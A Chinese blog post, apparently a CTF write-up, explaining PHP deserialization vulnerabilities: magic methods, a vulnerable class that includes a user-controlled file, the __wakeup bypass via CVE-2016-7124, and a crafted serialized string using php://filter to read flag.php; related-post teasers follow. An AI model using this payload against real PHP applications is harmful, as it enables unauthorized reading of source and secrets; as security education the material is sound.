代码编织梦想

0X00 背景

上周打ctf遇到了一道php反序列化的题,不是很难,但是还是想就着这道题把php反序列化漏洞做下总结。

0X01 php序列化

说php反序列化首先还是要说下什么是php序列化。

PHP

serialize — 产生一个可存储的值的表示

1

serialize—产生一个可存储的值的表示

这是php官网对它的解释,也就是说将php的对象转换为字符串以便存储和传输的一种方式,使用serialize ( mixed $value )函数,而反序列化就是他的逆过程。

0X02 php反序列化

既然php反序列化只是将已经序列化的字符串还原成对象,为什么会有这么大的危害呢?原因还是在php世界里存在magic method即魔法方法,如下:

__construct() 当一个对象创建时触发

__destruct() 当一个对象被销毁时触发

__toString() 把类当作字符串使用时触发

__call() 在对象上下文中调用不可访问的方法时触发

__callStatic() 在静态上下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据时

__set() 用于将数据写入不可访问的属性

__wakeup() 使用unserialize时触发

__sleep() 使用serialize时触发

__isset() 在不可访问的属性上调用isset()或empty()触发

__unset() 在不可访问的属性上使用unset()时触发

__invoke() 当脚本尝试将对象调用为函数时触发

__autoload() 尝试加载未定义的类时触发

__clone() 当对象复制完成时触发

1

2

3

4

5

6

7

8

9

10

11

12

13

14

__construct()当一个对象创建时触发

__destruct()当一个对象被销毁时触发

__toString()把类当作字符串使用时触发

__call()在对象上下文中调用不可访问的方法时触发

__callStatic()在静态上下文中调用不可访问的方法时触发

__get()用于从不可访问的属性读取数据时

__set()用于将数据写入不可访问的属性

__wakeup()使用unserialize时触发

__sleep()使用serialize时触发

__isset()在不可访问的属性上调用isset()或empty()触发

__unset()在不可访问的属性上使用unset()时触发

__invoke()当脚本尝试将对象调用为函数时触发

__autoload()尝试加载未定义的类时触发

__clone()当对象复制完成时触发

在这些魔法方法中反序列化漏洞一般比较常用的是__construct()、__destruct()、__toString()、__sleep()、__wakeup()这几个方法。

就是说我们需要一个用户可控的反序列化的参数,也就是我们可以控制反序列化后的对象,然后去查找相应的魔术方法是否存在漏洞,然后构造序列化字符串,在魔术方法触发时执行我们想要的操作。

0X03 例子

把打比赛的那道题po出来大家看看:

class Connection

{

public $file;

public function __construct($file)

{

$this->file = $file;

}

public function __sleep()

{

$this->file = 'sleep.txt';

return array('file');

}

public function __wakeup()

{

$this->file = 'wakeup.txt';

}

public function __destruct()

{

include($this->file);

}

}

$obj2 = unserialize($_GET['un']);

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

classConnection

{

public$file;

publicfunction__construct($file)

{

$this->file=$file;

}

publicfunction__sleep()

{

$this->file='sleep.txt';

returnarray('file');

}

publicfunction__wakeup()

{

$this->file='wakeup.txt';

}

publicfunction__destruct()

{

include($this->file);

}

}

$obj2=unserialize($_GET['un']);

从上边代码看反序列化的参数我们是可控的,可是反序列化的执行顺序是先__construct,然后是__wakeup(),最后执行__destruct(),在__wakeup()时file被重新赋值了,所以最后在文件包含是没法控制文件名,这里就需要用一个php的漏洞了。

0X04 php绕过__wakeup方法

绕过的方法其实是一个cve漏洞(CVE-2016-7124),即:当成员属性数目大于实际数目时可绕过wakeup方法。

0X05利用

那么我们的思路有了,首先生成序列化字符串,代码如下:

PHP

class Connection

{

public $file="php://filter/convert.base64-encode/resource=flag.php";

}

$usr = new Connection();

echo serialize($usr);

?>

1

2

3

4

5

6

7

8

classConnection

{

public$file="php://filter/convert.base64-encode/resource=flag.php";

}

$usr=newConnection();

echoserialize($usr);

?>

然后的到序列化后的字符串:

O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}

1

O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}

然后把Connection后边的‘1’改成‘2’得:

O:10:"Connection":2:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}

1

O:10:"Connection":2:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}

然后发送请求,可得到flag.php的结果,如图:

6ca3beae621b28321274ae1a63fa3f3c.png

php反序列化漏洞学习总结_brucetg的博客-爱代码爱编程

  一直以来总是觉得对PHP反序列化漏洞的理解比较模糊,今天抽时间深入学习下PHP反序列化漏洞的成因以及利用方式,在此做一个总结。    参考链接:              http://bobao.360.cn/learning/detail/3193.html       http://blog.csdn.net/qq_32400

四个实例递进php反序列化漏洞理解_大方子的博客-爱代码爱编程

    索引 最近在总结php序列化相关的知识,看了好多前辈师傅的文章,决定对四个理解难度递进的序列化思路进行一个复现剖析。包括最近Blackhat议题披露的phar拓展php反序列化漏洞攻击面。前人栽树,后人乘凉,担着前辈师傅们的辅拓前行!   D0g3 为了让大家进入状态,来一道简单的反序列化小题,新来的表哥们可以先学习一下php序列化

从一道ctf题学习php反序列化漏洞_fly_鹏程万里的博客-爱代码爱编程

一、CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下。 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入目的,废话不多说,主要源码如下: class SoFun{ protected $file='index.php'; functi

php反序列化漏洞总结_无在无不在的博客-爱代码爱编程_php反序列化漏洞

目录 0x00 为什么需要序列化和反序列化? 0x01 相关函数 0x02 相关魔术方法: 0x03 反序列化漏洞例题 0x04 序列化的一些注意点: 0x05 PHP Bug 72663 0x06 PHP BUG 71101 0x07 Phar 反序列化 其他例题: 0x00 为什么需要序列化和反序列化? 分布式架构的项目,往往具

php反序列化漏洞_qwzf的博客-爱代码爱编程_php漏洞

前言 最近又学习了新的漏洞知识——PHP反序列化漏洞,学习之余总结一下。 什么是php反序列化漏洞 漏洞简介 php反序列化漏洞,又叫php对象注入漏洞。 简单来讲,就是在php反序列化的时候,反序列化的内容是用户可控

php反序列化漏洞解析和研究-爱代码爱编程

php反序列化漏洞解析和研究 PHP序列化是什么铺垫知识示例序列化反序列实例魔术方法比较重要的方法反序列化对象注入绕过__wakeup()方法POP链构造POP:面向属性编程基本概念POP链利用训练 PHP序列化是什么 serialize() //将一个对象转换成一个字符串 unserialize() //将字符串还原成一个对象

PHP反序列化漏洞说明-爱代码爱编程

PHP反序列化漏洞说明 文章目录 PHP反序列化漏洞说明序列化反序列化魔术方法利用__destructwakeupPOP gadget利用普通方法 序列化 PHP序列化的函数为serialize,反序列化的函数为unserialize. 举个栗子: <?php class Test{ public $a='ThisA'; p

pikachu靶场 :十二、PHP反序列化-爱代码爱编程

pikachu靶场 :十二、PHP反序列化 概论漏洞输出xss文件读取 概论 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。 序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象: class S{ public $test="bi

PiKachu靶场之PHP反序列化漏洞-爱代码爱编程

前言 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。 序列化serialize()序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象: class S{ public $test="pikachu"; } $s=new S(); //创建

PHP反序列化漏洞——漏洞原理及防御措施-爱代码爱编程

序列化   将对象转换成字符串 反序列化 将特定格式的字符串转换成对象什么是反序列化漏洞 PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程

[反序列化篇]史上最全PHP反序列化漏洞实例复现姿势详解(补充ing)-爱代码爱编程

0x01 实验环境 靶场:pikachu+LKWA 平台:bugku+攻防世界+0CTF+南邮ctf+其他 环境:win10+VPS(ubuntu)+Docker 工具:Burp+MantraPortable 预备知识 Session反序列化漏洞 phar://协议 phar文件 简单回顾 对上一篇博客做一些补充: 所谓序列化(ser

PHP序列化反序列化漏洞总结(一篇懂)-爱代码爱编程

文章目录 序列化和反序列化的概念与基础知识PHP的序列化访问控制修饰符PHP的反序列化反序列化POP链PHP反序列化漏洞(常规)绕过魔法方法的反序列化漏洞__wakeup()__destruct()示例一:示例二(连菜刀、反序列化免杀后门):__toString()Error类ExceptionPHP中Session反序列化(重点)简介与基础知识S

include waf.php,一道ctf题的总结-爱代码爱编程

周末偶然看到学弟们在群里发的一道web题目,心血来潮决定做做,还是学到点东西,做个记录,题目地址。 0x01Git源代码泄露 该站点存在git源代码泄露,通过githack直接跑出代码文件。关注点有三个文件,一个是index2.php,一个是class.php,一个是waf.php,贴下关键代码。 index.php 1 2 3 4 5

php 反序列化漏洞,PHP反序列化漏洞详解-爱代码爱编程

最近和小伙伴们一起研究了下PHP反序列化漏洞,突发奇想,利用反序列化漏洞写一个一句话木马效果应该蛮不错的。本文主要和大家分享PHP反序列化漏洞详解,希望能帮助到大家。 0x01 PHP反序 说起PHP反序列化,那必须先简单说一下PHP的序列化。PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输,比如跨脚本等。而PHP反序列化是将序列化之后